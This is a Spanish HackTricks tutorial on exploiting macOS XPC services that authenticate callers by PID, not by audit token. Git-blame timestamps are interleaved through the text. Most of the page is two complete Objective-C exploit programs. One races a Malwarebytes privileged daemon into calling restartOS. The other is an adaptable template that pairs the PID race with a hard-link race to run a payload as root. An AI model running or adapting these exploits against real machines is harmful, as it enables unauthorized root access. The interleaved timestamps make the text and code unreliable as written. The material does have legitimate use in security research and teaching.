2024-04-15 03:55:15 +00:00
# Reutilización de PID en macOS
2023-10-15 17:29:23 +00:00
< details >
2024-02-05 03:10:28 +00:00
< summary > < strong > Aprende hacking en AWS desde cero hasta experto con< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2023-10-15 17:29:23 +00:00
2024-01-04 10:16:08 +00:00
Otras formas de apoyar a HackTricks:
2024-02-05 03:10:28 +00:00
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN** ](https://github.com/sponsors/carlospolop )!
2024-04-15 03:55:15 +00:00
* Obtén [**productos oficiales de PEASS & HackTricks** ](https://peass.creator-spring.com )
2024-02-05 03:10:28 +00:00
* Descubre [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), nuestra colección exclusiva de [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-04-15 03:55:15 +00:00
* **Únete al** 💬 [**grupo de Discord** ](https://discord.gg/hRep4RUj7f ) o al [**grupo de telegram** ](https://t.me/peass ) o **síguenos** en **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) y [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) en GitHub.
2023-10-15 17:29:23 +00:00
< / details >
## Reutilización de PID
2024-02-05 03:10:28 +00:00
Cuando un servicio **XPC de macOS** verifica el proceso llamado basándose en el **PID** y no en el **token de auditoría** , es vulnerable a un ataque de reutilización de PID. Este ataque se basa en una **condición de carrera** donde un **exploit** va a **enviar mensajes al servicio XPC** **abusando** de la funcionalidad y justo **después** de eso, ejecutar ** `posix_spawn(NULL, binary_objetivo, NULL, &attr, argumentos_objetivo, entorno)` ** con el **binario permitido** .
2023-10-15 17:29:23 +00:00
2024-04-15 03:55:15 +00:00
Esta función hará que el **binario permitido posea el PID** pero el **mensaje XPC malicioso habría sido enviado** justo antes. Entonces, si el servicio **XPC** utiliza el **PID** para **autenticar** al remitente y lo verifica **DESPUÉS** de la ejecución de ** `posix_spawn` **, pensará que proviene de un proceso **autorizado** .
2023-10-15 17:29:23 +00:00
### Ejemplo de exploit
2024-04-15 03:55:15 +00:00
Si encuentras la función ** `shouldAcceptNewConnection` ** o una función llamada por ella que **llama** a ** `processIdentifier` ** y no llama a ** `auditToken` **, es altamente probable que esté **verificando el PID del proceso** y no el token de auditoría.\
2023-10-15 17:29:23 +00:00
Como por ejemplo en esta imagen (tomada de la referencia):
2024-04-15 03:55:15 +00:00
< figure > < img src = "../../../../../../.gitbook/assets/image (303).png" alt = "https://wojciechregula.blog/images/2020/04/pid.png" > < figcaption > < / figcaption > < / figure >
2023-10-15 17:29:23 +00:00
2024-02-05 03:10:28 +00:00
Verifica este ejemplo de exploit (nuevamente, tomado de la referencia) para ver las 2 partes del exploit:
2023-10-15 17:29:23 +00:00
2024-02-05 03:10:28 +00:00
* Una que **genera varios forks**
* **Cada fork** enviará el **payload** al servicio XPC mientras ejecuta ** `posix_spawn` ** justo después de enviar el mensaje.
2023-10-15 17:29:23 +00:00
{% hint style="danger" %}
2024-04-15 03:55:15 +00:00
Para que el exploit funcione es importante ` exportar`` `` ` **`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** o incluir dentro del exploit:
2023-10-15 17:29:23 +00:00
```objectivec
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");
```
{% endhint %}
2024-04-15 03:55:15 +00:00
{% tabs %}
{% tab title="NSTasks" %}
Primera opción usando ** `NSTasks` ** y argumento para lanzar los hijos a explotar el RC
2023-10-15 17:29:23 +00:00
```objectivec
2024-02-05 03:10:28 +00:00
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
2023-10-15 17:29:23 +00:00
// gcc -framework Foundation expl.m -o expl
#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>
#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"
// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");
extern char **environ;
// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString * ))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString * )arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID * , long long))arg2;
@end
void child() {
// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;
[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];
char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(& attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(& attr, flags);
posix_spawn(NULL, target_binary, NULL, & attr, target_argv, environ);
}
bool create_nstasks() {
NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];
for (int i = 0; i < RACE_COUNT ; i + + ) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}
int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};
nanosleep(& ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT ; i + + ) {
[processes[i] terminate];
}
return false;
}
return true;
}
int main(int argc, const char * argv[]) {
if(argc > 1) {
// called from the NSTasks
child();
} else {
NSLog(@"Starting the race");
create_nstasks();
}
return 0;
}
```
2024-04-15 03:55:15 +00:00
{% endtab %}
2024-01-04 10:16:08 +00:00
2024-04-15 03:55:15 +00:00
{% tab title="fork" %}
Este ejemplo utiliza un ** `fork` ** crudo para lanzar **procesos hijos que aprovecharán la condición de carrera del PID** y luego explotar **otra condición de carrera a través de un enlace duro:**
```objectivec
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl
2023-10-15 17:29:23 +00:00
2024-04-15 03:55:15 +00:00
#include <Foundation/Foundation.h>
#include <spawn.h>
#include <pthread.h>
2023-10-15 17:29:23 +00:00
2024-04-15 03:55:15 +00:00
// TODO: CHANGE PROTOCOL AND FUNCTIONS
@protocol HelperProtocol
- (void)DoSomething:(void (^)(_Bool))arg1;
@end
2023-10-15 17:29:23 +00:00
2024-04-15 03:55:15 +00:00
// Global flag to track exploitation status
bool pwned = false;
/**
* Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
* XPC service verify the legit binary and then execute as root out payload.
*/
void *check_race(void *arg) {
while(!pwned) {
// Overwrite with contents of the legit binary
system("cat ./legit_bin > hard_link");
usleep(50000);
// Overwrite with contents of the payload to execute
// TODO: COMPILE YOUR OWN PAYLOAD BIN
system("cat ./payload > hard_link");
usleep(50000);
}
return NULL;
}
2023-10-15 17:29:23 +00:00
2024-04-15 03:55:15 +00:00
void child_xpc_pid_rc_abuse(){
// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
#define kValid "./Legit Updater.app/Contents/MacOS/Legit"
extern char **environ;
2023-10-15 17:29:23 +00:00
2024-04-15 03:55:15 +00:00
// Connect with XPC service
// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
NSString* service_name = @"com.example.Helper";
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
// TODO: CNAGE THE PROTOCOL NAME
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
NSLog(@"[-] Something went wrong");
NSLog(@"[-] Error: %@", error);
}];
NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", connection);
// Call vulenrable XPC function
// TODO: CHANEG NAME OF FUNCTION TO CALL
[obj DoSomething:^(_Bool b){
NSLog(@"Response, %hdd", b);
}];
// Change current process to the legit binary suspended
char target_binary[] = kValid;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(& attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(& attr, flags);
posix_spawn(NULL, target_binary, NULL, & attr, target_argv, environ);
}
2023-10-15 17:29:23 +00:00
2024-04-15 03:55:15 +00:00
/**
* Function to perform the PID race condition using children calling the XPC exploit.
*/
void xpc_pid_rc_abuse() {
#define RACE_COUNT 1
extern char **environ;
int pids[RACE_COUNT];
2023-10-15 17:29:23 +00:00
2024-04-15 03:55:15 +00:00
// Fork child processes to exploit
for (int i = 0; i < RACE_COUNT ; i + + ) {
int pid = fork();
if (pid == 0) { // If a child process
child_xpc_pid_rc_abuse();
}
printf("forked %d\n", pid);
pids[i] = pid;
}
2023-10-15 17:29:23 +00:00
2024-04-15 03:55:15 +00:00
// Wait for children to finish their tasks
sleep(3);
2024-04-06 18:13:31 +00:00
2024-04-15 03:55:15 +00:00
// Terminate child processes
for (int i = 0; i < RACE_COUNT ; i + + ) {
if (pids[i]) {
kill(pids[i], 9);
}
}
}
2024-04-06 18:13:31 +00:00
2024-04-15 03:55:15 +00:00
int main(int argc, const char * argv[]) {
// Create and set execution rights to 'hard_link' file
system("touch hard_link");
system("chmod +x hard_link");
2024-04-06 18:13:31 +00:00
2024-04-15 03:55:15 +00:00
// Create thread to exploit sign verification RC
pthread_t thread;
pthread_create(& thread, NULL, check_race, NULL);
2024-04-06 18:13:31 +00:00
2024-04-15 03:55:15 +00:00
while(!pwned) {
// Try creating 'download' directory, ignore errors
system("mkdir download 2>/dev/null");
2024-04-06 18:13:31 +00:00
2024-04-15 03:55:15 +00:00
// Create a hardlink
// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
system("ln hard_link download/legit_bin");
2024-04-06 18:13:31 +00:00
2024-04-15 03:55:15 +00:00
xpc_pid_rc_abuse();
usleep(10000);
2024-04-06 18:13:31 +00:00
2024-04-15 03:55:15 +00:00
// The payload will generate this file if exploitation is successfull
if (access("/tmp/pwned", F_OK ) == 0) {
pwned = true;
}
}
2024-04-06 18:13:31 +00:00
2024-04-15 03:55:15 +00:00
return 0;
}
```
{% endtab %}
{% endtabs %}
2024-04-06 18:13:31 +00:00
2024-04-15 03:55:15 +00:00
## Otros ejemplos
2024-04-06 18:13:31 +00:00
2024-04-15 03:55:15 +00:00
* [https://gergelykalman.com/why-you-shouldnt-use-a-commercial-vpn-amateur-hour-with-windscribe.html ](https://gergelykalman.com/why-you-shouldnt-use-a-commercial-vpn-amateur-hour-with-windscribe.html )
2023-10-15 17:29:23 +00:00
## Referencias
* [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/ ](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/ )
* [https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf ](https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf )
< details >
2024-01-04 10:16:08 +00:00
< summary > < strong > Aprende hacking en AWS de cero a héroe con< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
Otras formas de apoyar a HackTricks:
2023-10-15 17:29:23 +00:00
2024-02-05 03:10:28 +00:00
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN** ](https://github.com/sponsors/carlospolop )!
* Obtén el [**oficial PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* Descubre [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), nuestra colección exclusiva de [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-04-15 03:55:15 +00:00
* **Únete al** 💬 [**grupo de Discord** ](https://discord.gg/hRep4RUj7f ) o al [**grupo de telegram** ](https://t.me/peass ) o **síguenos** en **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2024-02-05 03:10:28 +00:00
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) y [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ).
2023-10-15 17:29:23 +00:00
< / details >